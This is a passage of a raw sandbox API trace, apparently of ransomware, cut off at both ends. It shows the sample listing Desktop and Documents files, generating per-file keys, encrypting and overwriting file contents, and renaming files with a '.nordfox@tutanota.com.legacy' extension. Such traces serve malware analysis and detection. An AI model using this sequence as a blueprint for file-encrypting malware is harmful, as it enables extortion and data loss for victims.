dwFlags=0x8) returned 1 [0112.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f48 | out: hHeap=0x520000) returned 1 [0112.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0112.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.061] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\1BoTI27Rl.m4a", dwFileAttributes=0x80) returned 1 [0112.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0112.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563d50 [0112.062] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0112.062] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\1BoTI27Rl.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\1boti27rl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0112.062] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=72678) returned 1 [0112.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11be6) returned 0x5e9bd0 [0112.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11be6) returned 0x5fb7c0 [0112.062] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x11be6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x11be6, lpOverlapped=0x0) returned 1 [0112.066] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-72678, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.066] WriteFile (in: hFile=0x5e4, lpBuffer=0x5fb7c0*, nNumberOfBytesToWrite=0x11be6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fb7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11be6, lpOverlapped=0x0) returned 1 [0112.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fb7c0 | out: hHeap=0x520000) returned 1 [0112.070] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11be6 [0112.070] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.070] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.072] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.072] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.072] CloseHandle (hObject=0x5e4) returned 1 [0112.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.072] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\1BoTI27Rl.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\1boti27rl.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\1BoTI27Rl.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\1boti27rl.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d50 | out: hHeap=0x520000) returned 1 [0112.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0112.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0112.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0112.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0112.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0112.075] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x943244c6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2024368, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5898 [0112.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0112.076] GetLastError () returned 0x0 [0112.076] SetLastError (dwErrCode=0x0) [0112.076] GetLastError () returned 0x0 [0112.077] SetLastError (dwErrCode=0x0) [0112.077] GetLastError () returned 0x0 [0112.077] SetLastError (dwErrCode=0x0) [0112.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0112.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0112.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0112.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0112.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ad8 [0112.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ad8 | out: hHeap=0x520000) returned 1 [0112.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0112.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0112.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0112.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0112.077] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x943244c6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2024368, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0112.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0112.078] GetLastError () returned 0x0 [0112.078] SetLastError (dwErrCode=0x0) [0112.078] GetLastError () returned 0x0 [0112.078] SetLastError (dwErrCode=0x0) [0112.078] GetLastError () returned 0x0 [0112.078] SetLastError (dwErrCode=0x0) [0112.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0112.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0112.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0112.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c58d8 [0112.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c58d8 | out: hHeap=0x520000) returned 1 [0112.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0112.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0112.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0112.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.079] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf522de0, ftCreationTime.dwHighDateTime=0x1d497aa, ftLastAccessTime.dwLowDateTime=0x25efe290, ftLastAccessTime.dwHighDateTime=0x1d49264, ftLastWriteTime.dwLowDateTime=0x25efe290, ftLastWriteTime.dwHighDateTime=0x1d49264, nFileSizeHigh=0x0, nFileSizeLow=0xb8d5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="4IGX1pA.pptx", cAlternateFileName="4IGX1P~1.PPT")) returned 1 [0112.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.079] GetLastError () returned 0x0 [0112.079] SetLastError (dwErrCode=0x0) [0112.079] GetLastError () returned 0x0 [0112.079] SetLastError (dwErrCode=0x0) [0112.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.079] GetLastError () returned 0x0 [0112.079] SetLastError (dwErrCode=0x0) [0112.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0112.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.080] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25cbd440, ftCreationTime.dwHighDateTime=0x1d50a0f, ftLastAccessTime.dwLowDateTime=0x8f3ff420, ftLastAccessTime.dwHighDateTime=0x1d4b6c6, ftLastWriteTime.dwLowDateTime=0x8f3ff420, ftLastWriteTime.dwHighDateTime=0x1d4b6c6, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="5DypQ48ZRakwHGc9-kT.pptx", cAlternateFileName="5DYPQ4~1.PPT")) returned 1 [0112.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0112.080] GetLastError () returned 0x0 [0112.080] SetLastError (dwErrCode=0x0) [0112.080] GetLastError () returned 0x0 [0112.080] SetLastError (dwErrCode=0x0) [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0112.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0112.080] GetLastError () returned 0x0 [0112.080] SetLastError (dwErrCode=0x0) [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0112.080] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173f0df0, ftCreationTime.dwHighDateTime=0x1d4fb2f, ftLastAccessTime.dwLowDateTime=0x2116b9c0, ftLastAccessTime.dwHighDateTime=0x1d4cffd, ftLastWriteTime.dwLowDateTime=0x2116b9c0, ftLastWriteTime.dwHighDateTime=0x1d4cffd, nFileSizeHigh=0x0, nFileSizeLow=0x54af, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="5epuqLEFpFsvZGh.docx", cAlternateFileName="5EPUQL~1.DOC")) returned 1 [0112.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.080] GetLastError () returned 0x0 [0112.080] SetLastError (dwErrCode=0x0) [0112.080] GetLastError () returned 0x0 [0112.080] SetLastError (dwErrCode=0x0) [0112.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0112.081] GetLastError () returned 0x0 [0112.081] SetLastError (dwErrCode=0x0) [0112.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0112.081] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35962cb0, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0x1b239410, ftLastAccessTime.dwHighDateTime=0x1d4d04e, ftLastWriteTime.dwLowDateTime=0x1b239410, ftLastWriteTime.dwHighDateTime=0x1d4d04e, nFileSizeHigh=0x0, nFileSizeLow=0xb827, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="79YHVBsUW0MEH.ods", cAlternateFileName="79YHVB~1.ODS")) returned 1 [0112.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.081] GetLastError () returned 0x0 [0112.081] SetLastError (dwErrCode=0x0) [0112.081] GetLastError () returned 0x0 [0112.081] SetLastError (dwErrCode=0x0) [0112.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0112.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.081] GetLastError () returned 0x0 [0112.082] SetLastError (dwErrCode=0x0) [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0112.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0112.082] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abfc90, ftCreationTime.dwHighDateTime=0x1d4d10a, ftLastAccessTime.dwLowDateTime=0x1fc33f0, ftLastAccessTime.dwHighDateTime=0x1d4d271, ftLastWriteTime.dwLowDateTime=0x1fc33f0, ftLastWriteTime.dwHighDateTime=0x1d4d271, nFileSizeHigh=0x0, nFileSizeLow=0xf685, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="8-TXyjtTI.xls", cAlternateFileName="8-TXYJ~1.XLS")) returned 1 [0112.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0112.082] GetLastError () returned 0x0 [0112.082] SetLastError (dwErrCode=0x0) [0112.082] GetLastError () returned 0x0 [0112.082] SetLastError (dwErrCode=0x0) [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0112.082] GetLastError () returned 0x0 [0112.082] SetLastError (dwErrCode=0x0) [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0112.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0112.082] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8b2370, ftCreationTime.dwHighDateTime=0x1d4d0b0, ftLastAccessTime.dwLowDateTime=0x8c932c00, ftLastAccessTime.dwHighDateTime=0x1d4e78c, ftLastWriteTime.dwLowDateTime=0x8c932c00, ftLastWriteTime.dwHighDateTime=0x1d4e78c, nFileSizeHigh=0x0, nFileSizeLow=0x83b3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="8Ui4KvRzPmj.docx", cAlternateFileName="8UI4KV~1.DOC")) returned 1 [0112.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0112.083] GetLastError () returned 0x0 [0112.083] SetLastError (dwErrCode=0x0) [0112.083] GetLastError () returned 0x0 [0112.083] SetLastError (dwErrCode=0x0) [0112.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0112.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0112.083] GetLastError () returned 0x0 [0112.083] SetLastError (dwErrCode=0x0) [0112.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0112.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0112.083] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff98000, ftCreationTime.dwHighDateTime=0x1d4d8a7, ftLastAccessTime.dwLowDateTime=0x452817d0, ftLastAccessTime.dwHighDateTime=0x1d507b8, ftLastWriteTime.dwLowDateTime=0x452817d0, ftLastWriteTime.dwHighDateTime=0x1d507b8, nFileSizeHigh=0x0, nFileSizeLow=0x1263b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="92dwsncOsQrOfP_rv.pptx", cAlternateFileName="92DWSN~1.PPT")) returned 1 [0112.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0112.083] GetLastError () returned 0x0 [0112.083] SetLastError (dwErrCode=0x0) [0112.083] GetLastError () returned 0x0 [0112.083] SetLastError (dwErrCode=0x0) [0112.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0112.083] GetLastError () returned 0x0 [0112.083] SetLastError (dwErrCode=0x0) [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0112.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0112.084] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5e1710, ftCreationTime.dwHighDateTime=0x1d4c7eb, ftLastAccessTime.dwLowDateTime=0x3547ba70, ftLastAccessTime.dwHighDateTime=0x1d4d2af, ftLastWriteTime.dwLowDateTime=0x3547ba70, ftLastWriteTime.dwHighDateTime=0x1d4d2af, nFileSizeHigh=0x0, nFileSizeLow=0x18b85, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9K7kOUI7n282 Y9dp.pdf", cAlternateFileName="9K7KOU~1.PDF")) returned 1 [0112.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.084] GetLastError () returned 0x0 [0112.084] SetLastError (dwErrCode=0x0) [0112.084] GetLastError () returned 0x0 [0112.084] SetLastError (dwErrCode=0x0) [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.084] GetLastError () returned 0x0 [0112.084] SetLastError (dwErrCode=0x0) [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566eb0 [0112.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566eb0 | out: hHeap=0x520000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0112.084] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c84cc50, ftCreationTime.dwHighDateTime=0x1d4e830, ftLastAccessTime.dwLowDateTime=0x25f71560, ftLastAccessTime.dwHighDateTime=0x1d4c6e4, ftLastWriteTime.dwLowDateTime=0x25f71560, ftLastWriteTime.dwHighDateTime=0x1d4c6e4, nFileSizeHigh=0x0, nFileSizeLow=0xb6fa, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9T71r5Hs.docx", cAlternateFileName="9T71R5~1.DOC")) returned 1 [0112.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0112.084] GetLastError () returned 0x0 [0112.085] SetLastError (dwErrCode=0x0) [0112.085] GetLastError () returned 0x0 [0112.085] SetLastError (dwErrCode=0x0) [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0112.085] GetLastError () returned 0x0 [0112.085] SetLastError (dwErrCode=0x0) [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0112.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0112.085] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a57b840, ftCreationTime.dwHighDateTime=0x1d4c443, ftLastAccessTime.dwLowDateTime=0x92e6aa0, ftLastAccessTime.dwHighDateTime=0x1d4fca4, ftLastWriteTime.dwLowDateTime=0x92e6aa0, ftLastWriteTime.dwHighDateTime=0x1d4fca4, nFileSizeHigh=0x0, nFileSizeLow=0x1158a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="abzK4JE1B8G.xlsx", cAlternateFileName="ABZK4J~1.XLS")) returned 1 [0112.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0112.085] GetLastError () returned 0x0 [0112.085] SetLastError (dwErrCode=0x0) [0112.085] GetLastError () returned 0x0 [0112.085] SetLastError (dwErrCode=0x0) [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0112.085] GetLastError () returned 0x0 [0112.085] SetLastError (dwErrCode=0x0) [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0112.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0112.085] FindNextFileW (in: hFindFile=0x5c5898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0112.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.086] GetLastError () returned 0x0 [0112.086] SetLastError (dwErrCode=0x0) [0112.086] GetLastError () returned 0x0 [0112.086] SetLastError (dwErrCode=0x0) [0112.086] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0112.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.086] GetLastError () returned 0x0 [0112.086] SetLastError (dwErrCode=0x0) [0112.086] RtlAllocateHeap 